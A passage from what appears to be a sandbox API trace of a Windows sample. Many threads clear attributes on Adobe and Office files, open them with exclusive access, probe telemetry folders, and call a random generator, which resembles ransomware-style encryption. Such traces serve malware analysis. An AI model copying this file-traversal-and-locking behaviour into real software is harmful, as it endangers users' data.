(lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.NOR", dwFileAttributes=0x20) returned 0 [0142.822] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.NOR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.nor"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0142.827] GetLastError () returned 0x5 [0142.827] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.NOR", dwFileAttributes=0x20) returned 0 [0142.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507910) returned 1 Thread: id = 2225 os_tid = 0xdd4 [0142.833] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.POL" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.pol")) returned 0x20 [0142.837] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.POL", dwFileAttributes=0x20) returned 0 [0142.839] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.POL" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.pol"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0142.842] GetLastError () returned 0x5 [0142.842] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.POL", dwFileAttributes=0x20) returned 0 [0142.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205079b0) returned 1 Thread: id = 2226 os_tid = 0xec4 [0142.847] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.PTB" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.ptb")) returned 0x20 [0142.849] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.PTB", dwFileAttributes=0x20) returned 0 [0142.851] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.PTB" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.ptb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0142.855] GetLastError () returned 0x5 [0142.855] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.PTB", dwFileAttributes=0x20) returned 0 [0142.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507a50) returned 1 Thread: id = 2227 os_tid = 0xdd8 [0142.862] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.RUM" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.rum")) returned 0x20 [0142.864] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.RUM", dwFileAttributes=0x20) returned 0 [0142.867] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.RUM" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.rum"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0142.871] GetLastError () returned 0x5 [0142.871] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.RUM", dwFileAttributes=0x20) returned 0 [0142.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507af0) returned 1 Thread: id = 2228 os_tid = 0xddc [0142.876] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.RUS" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.rus")) returned 0x20 [0142.878] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.RUS", dwFileAttributes=0x20) returned 0 [0142.880] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.RUS" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.rus"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0142.884] GetLastError () returned 0x5 [0142.884] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.RUS", dwFileAttributes=0x20) returned 0 [0142.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507b90) returned 1 Thread: id = 2229 os_tid = 0xde0 [0142.888] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SKY" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.sky")) returned 0x20 [0142.890] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SKY", dwFileAttributes=0x20) returned 0 [0142.892] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SKY" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.sky"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0142.895] GetLastError () returned 0x5 [0142.895] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SKY", dwFileAttributes=0x20) returned 0 [0142.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507c30) returned 1 Thread: id = 2230 os_tid = 0xde4 [0142.899] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SLV" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.slv")) returned 0x20 [0142.902] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SLV", dwFileAttributes=0x20) returned 0 [0142.904] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SLV" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.slv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0142.909] GetLastError () returned 0x5 [0142.909] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SLV", dwFileAttributes=0x20) returned 0 [0142.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507cd0) returned 1 Thread: id = 2231 os_tid = 0xf60 [0142.912] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SUO" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.suo")) returned 0x20 [0142.916] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SUO", dwFileAttributes=0x20) returned 0 [0142.918] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SUO" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.suo"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0142.924] GetLastError () returned 0x5 [0142.924] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SUO", dwFileAttributes=0x20) returned 0 [0142.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507d70) returned 1 Thread: id = 2232 os_tid = 0xf94 [0142.929] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SVE" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.sve")) returned 0x20 [0142.931] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SVE", dwFileAttributes=0x20) returned 0 [0142.933] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SVE" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.sve"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0142.936] GetLastError () returned 0x5 [0142.936] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SVE", dwFileAttributes=0x20) returned 0 [0142.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507e10) returned 1 Thread: id = 2233 os_tid = 0xfa0 [0142.946] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.TUR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.tur")) returned 0x20 [0142.948] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.TUR", dwFileAttributes=0x20) returned 0 [0142.950] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.TUR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.tur"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0142.954] GetLastError () returned 0x5 [0142.954] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.TUR", dwFileAttributes=0x20) returned 0 [0142.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507eb0) returned 1 Thread: id = 2234 os_tid = 0xfa8 [0142.967] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.UKR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.ukr")) returned 0x20 [0142.969] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.UKR", dwFileAttributes=0x20) returned 0 [0142.971] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.UKR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.ukr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0142.974] GetLastError () returned 0x5 [0142.974] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.UKR", dwFileAttributes=0x20) returned 0 [0142.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507f50) returned 1 Thread: id = 2235 os_tid = 0xe60 [0142.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e2c0 [0142.980] wcscpy (in: _Dest=0x1b86e2c0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest" [0142.980] wcscat (in: _Dest=0x1b86e2c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest\\" [0142.980] wcscat (in: _Dest=0x1b86e2c0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest\\*" [0142.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x205027a0 [0142.980] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest\\*", lpFindFileData=0x205027a0 | out: lpFindFileData=0x205027a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dc70 [0142.981] wcscmp (_String1=".", _String2=".") returned 0 [0142.982] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x205027a0 | out: lpFindFileData=0x205027a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.982] wcscmp (_String1="..", _String2=".") returned 1 [0142.982] wcscmp (_String1="..", _String2="..") returned 0 [0142.982] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x205027a0 | out: lpFindFileData=0x205027a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0142.982] FindClose (in: hFindFile=0x1cd9dc70 | out: hFindFile=0x1cd9dc70) returned 1 [0142.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205027a0) returned 1 [0142.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e2c0) returned 1 [0142.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1aa0) returned 1 Thread: id = 2236 os_tid = 0xe68 [0142.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1aa0 [0142.986] wcscpy (in: _Dest=0x1b7c1aa0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions" [0142.986] wcscat (in: _Dest=0x1b7c1aa0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions\\" [0142.986] wcscat (in: _Dest=0x1b7c1aa0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions\\*" [0142.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x205027a0 [0142.986] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions\\*", lpFindFileData=0x205027a0 | out: lpFindFileData=0x205027a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dc70 [0142.987] wcscmp (_String1=".", _String2=".") returned 0 [0142.987] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x205027a0 | out: lpFindFileData=0x205027a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.987] wcscmp (_String1="..", _String2=".") returned 1 [0142.987] wcscmp (_String1="..", _String2="..") returned 0 [0142.987] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x205027a0 | out: lpFindFileData=0x205027a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0142.987] FindClose (in: hFindFile=0x1cd9dc70 | out: hFindFile=0x1cd9dc70) returned 1 [0142.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205027a0) returned 1 [0142.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1aa0) returned 1 [0142.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864060) returned 1 Thread: id = 2237 os_tid = 0x10a0 [0142.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b864060 [0142.991] wcscpy (in: _Dest=0x1b864060, _Source="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload" [0142.991] wcscat (in: _Dest=0x1b864060, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload\\" [0142.991] wcscat (in: _Dest=0x1b864060, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload\\*" [0142.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x205027a0 [0142.991] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload\\*", lpFindFileData=0x205027a0 | out: lpFindFileData=0x205027a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dc70 [0142.992] wcscmp (_String1=".", _String2=".") returned 0 [0142.992] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x205027a0 | out: lpFindFileData=0x205027a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.992] wcscmp (_String1="..", _String2=".") returned 1 [0142.992] wcscmp (_String1="..", _String2="..") returned 0 [0142.992] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x205027a0 | out: lpFindFileData=0x205027a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0142.992] FindClose (in: hFindFile=0x1cd9dc70 | out: hFindFile=0x1cd9dc70) returned 1 [0142.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205027a0) returned 1 [0142.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864060) returned 1 [0142.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d5b0) returned 1 Thread: id = 2238 os_tid = 0x10a8 [0142.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt")) returned 0x20 [0145.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT", dwFileAttributes=0x20) returned 1 [0146.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f94 [0146.392] GetFileSizeEx (in: hFile=0x1f94, lpFileSize=0x21bbfb20 | out: lpFileSize=0x21bbfb20*=205) returned 1 [0146.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced69f0 [0146.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ba0 [0146.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ab0 [0146.392] NtQuerySystemTime (in: CurrentTime=0x21bbf9e0 | out: CurrentTime=0x21bbf9e0*=132462177516394000) returned 0x0 [0146.393] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x5f3b3602 [0146.393] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x2664ac5e [0146.393] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x580e7c5b [0146.393] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x1f718879 [0146.393] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x144e8be0 [0146.393] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x649b4db7 [0146.393] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x176a2b55 [0146.393] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x5d4c39f0 [0146.393] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x2aefaee3 [0146.393] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x49a15609 [0146.393] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x772c18cd [0146.393] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0xd1814a9 [0146.393] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x71b3bcdc [0146.393] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0xdfd352c [0146.393] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x566203d7 [0146.394] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x2f650066 [0146.394] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x2f2515dc [0146.394] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x6d1bba99 [0146.394] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x12a161ac [0146.394] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x27e773f7 [0146.394] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x70a3ecd6 [0146.394] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x2088dd5b [0146.394] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x154a72a2 [0146.394] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x40236d01 [0146.394] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x17f7fea2 [0146.394] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x66e63a6e [0146.394] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x33690baf [0146.394] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x4093596e [0146.394] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x75b716dc [0146.394] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x77924c7b [0146.394] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x1bfc50a2 [0146.394] RtlRandomEx (in: Seed=0x21bbf9d0 | out: Seed=0x21bbf9d0) returned 0x103f5503 [0146.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b70 [0146.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0146.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0146.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0146.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ab0) returned 1 [0146.412] RtlFreeHeap 